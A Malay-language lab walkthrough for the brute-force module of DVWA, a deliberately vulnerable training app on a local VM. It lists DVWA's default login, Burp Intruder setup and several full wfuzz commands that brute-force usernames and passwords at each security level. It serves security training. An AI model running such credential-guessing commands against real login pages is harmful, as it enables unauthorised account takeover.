DVWA walkthrough Part 1

[1] Brute Force (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`

3	Login ke DVWA menggunakan credentials berikut:
	`Username: admin`
	`Password: password`

4	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
5	Startkan burp suite dan rujuk pada demo video.

6	Burp Intruder (Sniper, Cluster Bomb) payloads:
	`/usr/share/wordlists/dirb/others`
	`grep match`

7	wfuzz payloads:
	`wfuzz -h`
	
	low
	`----------`
	`wfuzz -c -z file,/usr/share/wordlists/dirb/others/best15.txt -b 'security=low; PHPSESSID=xxx' 'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#'`
	`----------`
	`wfuzz -c -z file,/usr/share/wordlists/dirb/others/best15.txt -b 'security=low; PHPSESSID=xxx' --hs incorrect 'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#'`
	`----------`
	names.txt:
	Admin
	Gordon
	Hack
	Pablo
	Bob

```
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=low; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best1050.txt -b
'security=low; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
```

medium

```
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=medium; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
```

high

```
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=high; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=high; PHPSESSID=xxx' -s 4 --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
```